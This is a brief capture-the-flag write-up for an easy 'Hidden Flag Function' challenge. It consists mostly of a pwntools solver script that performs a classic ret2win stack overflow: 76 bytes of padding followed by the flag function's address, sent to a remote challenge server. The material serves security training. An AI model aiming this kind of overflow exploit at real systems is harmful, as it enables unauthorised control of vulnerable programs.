HIDDEN FLAG FUNCTION [EASY]

Description

Can you control this applications flow to gain access to the hidden flag function?

Short Solution Description / Tags

Classic ret2win

Solution

solver.py

from pwn import *

context.log_level = "DEBUG"
context.terminal = ["tmux", "split-window", "-h"]

elf = ELF("./hidden_flag_function", checksec=False)

win = elf.sym["flag"]


def conn() -> pwnlib.tubes:
    io = remote("5e72af5a081acd1b.247ctf.com", 50383)

    return io


def main():
    io = conn()

    payload = b"A" * 76 + p32(win)

    io.sendlineafter(b"What do you have to say?", payload)
    io.interactive("")


if __name__ == "__main__":
    main()